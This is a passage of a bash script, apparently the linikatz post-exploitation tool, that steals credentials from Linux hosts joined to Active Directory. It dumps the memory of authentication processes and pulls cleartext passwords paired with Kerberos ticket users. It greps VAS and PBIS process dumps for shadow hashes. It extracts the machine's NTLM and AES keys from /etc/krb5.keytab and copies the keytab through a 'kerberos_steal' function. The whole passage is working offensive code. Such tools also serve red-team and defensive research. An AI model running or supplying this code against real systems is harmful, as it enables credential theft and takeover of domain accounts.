stdio_message_in_process "$NORMAL" "$YELLOW" " $line_clean" 643 | fi 644 | done < <(printf '%s\n' "$hash_tmp") 645 | echo "" 646 | fi 647 | 648 | grep="$([ "$(file_is_regular "${filename}.${processid}")" -eq 1 ] && strings "${filename}.${processid}" | egrep "[0-9]{10}_XXXXXX" -A 2)" 649 | count_tmp="$([ "$(file_is_regular "${filename}.${processid}")" -eq 1 ] && strings "${filename}.${processid}" | egrep -c "[0-9]{10}_XXXXXX" -A 2)" 650 | if [ "${count_tmp}" -ne "0" ] 651 | then 652 | cursor="1" 653 | for ((i = 0 ; i < $count_tmp ; i++)); do 654 | grep_tmp="$(echo "$grep" | sed -n "$cursor, $(($cursor+3))p")" 655 | passw_tmp="$(echo "$grep_tmp" | sed -n '3p')" 656 | user_id_ticket="$(echo "$grep_tmp" | head -n 1 | grep -oE '[0-9]{10}')" 657 | ticket_name="$(ls /tmp | grep krb5cc_${user_id_ticket})" 658 | username="$(/usr/bin/klist -c "/tmp/${ticket_name}" | grep "Default principal" | cut -d ':' -f 2 | cut -d '@' -f 1 | tr -d ' ')" 659 | if [ -n "${passw_tmp}" ] 660 | then 661 | stdio_message_in_process "$BOLD" "$GREEN" "[+] Clear password(s) found !" 662 | stdio_message_in_process_raw "$NORMAL" "$WHITE" " Account : " 663 | stdio_message_in_process "$BOLD" "$RED" "$username" 664 | stdio_message_in_process_raw "$NORMAL" "$WHITE" " Password : " 665 | stdio_message_in_process "$BOLD" "$RED" "$passw_tmp" 666 | stdio_message_in_process_raw "$NORMAL" "$WHITE" " Domain UID :" 667 | stdio_message_in_process "$BOLD" "$YELLOW" "$user_id_ticket" 668 | fi 669 | echo "" 670 | cursor=$(( $cursor + 4)) 671 | done 672 | fi 673 | done 674 | done 675 | echo "" 676 | 677 | # VAS process dump 678 | if [ -n "$(process_list vasd)" ]; then 679 | stdio_message_info_process_group "VAS processes dump" 680 | process_list "vasd" | while read processid 681 | do 682 | stdio_message_info_process "Dumping "$(ps -p $processid -o comm=)" (${processid})" 683 | process_dump "${processid}" | while read filename 684 | do 685 | [ "$(file_is_regular "${filename}.${processid}")" -eq 1 ] && strings "${filename}.${processid}" | grep -E "MAPI|\\\$6\\\$" | sort | uniq 686 | done 687 | done 688 | echo "" 689 | fi 690 | 691 | # PBIS process dump 692 | if [ -n "$(process_list "lwsmd|lw-")" ]; then 693 | stdio_message_info_process_group "PBIS processes" 694 | process_list "lwsmd|lw-" | while read processid 695 | do 696 | stdio_message_info_process "Dumping "$(ps -p $processid -o comm=)" (${processid})" 697 | process_dump "${processid}" | while read filename 698 | do 699 | [ "$(file_is_regular "${filename}.${processid}")" -eq 1 ] && strings "${filename}.${processid}" | grep -E "MAPI|\\\$6\\\$" | sort | uniq 700 | done 701 | done 702 | echo "" 703 | fi 704 | 705 | # Remove files and processes 706 | if [ "$NO_FILE_OUTPUT" -eq 1 ]; then 707 | sudo rm -rf linikatz.$DATE 708 | fi 709 | 710 | # Keytab hash extraction 711 | if [ "$(file_is_regular /etc/krb5.keytab)" -eq 1 ]; then 712 | stdio_message "$NORMAL" "$WHITE" " ##############################" 713 | stdio_message_raw "$NORMAL" "$WHITE" " ==== " 714 | stdio_message_raw "$BOLD" "$PURPLE" "Keytab hash dump" 715 | stdio_message "$NORMAL" "$WHITE" " ====" 716 | stdio_message "$NORMAL" "$WHITE" " ##########################" 717 | echo "" 718 | 719 | tmp="$(sudo klist -t -K -e -k /etc/krb5.keytab | sed -n '4,6p' | awk '{print $4,$5,$6}')" 720 | machine_name="$(echo "$tmp" | awk '{print $1}' | head -n 1 | cut -d '@' -f1)" 721 | domain="$(echo "$tmp" | awk '{print $1}' | head -n 1 | cut -d '@' -f2)" 722 | machine_ntlm="$(echo "$tmp" | grep "arcfour" | awk '{print $3}' | cut -c 4-35 )" 723 | machine_aes_128="$(echo "$tmp" | grep "aes128" | awk '{print $3}' | cut -c 4-35 )" 724 | machine_aes_256="$(echo "$tmp" | grep "aes256" | awk '{print $3}' | cut -c 4-67 )" 725 | 726 | stdio_message_raw "$NORMAL" "$WHITE" "Account : " 727 | stdio_message "$BOLD" "$GREEN" "$machine_name" 728 | stdio_message_raw "$NORMAL" "$WHITE" "Domain : " 729 | stdio_message "$BOLD" "$CYAN" "@$domain" 730 | echo "" 731 | stdio_message_raw "$NORMAL" "$WHITE" "NTLM hash : " 732 | stdio_message "$BOLD" "$RED" "$machine_ntlm" 733 | stdio_message_raw "$NORMAL" "$WHITE" "AES-128 key : " 734 | stdio_message "$BOLD" "$RED" "$machine_aes_128" 735 | stdio_message_raw "$NORMAL" "$WHITE" "AES-256 key : " 736 | stdio_message "$BOLD" "$RED" "$machine_aes_256" 737 | echo "" 738 | 739 | if [ $KERBEROS_TICKET_SAVE -eq 1 ] 740 | then 741 | stdio_message "$NORMAL" "$GREEN" "[+] Adding machine keytab to /kerberos" 742 | kerberos_steal /etc/krb5.keytab 743 | fi 744 | echo "" 745 | fi 746 | --------------------------------------------------------------------------------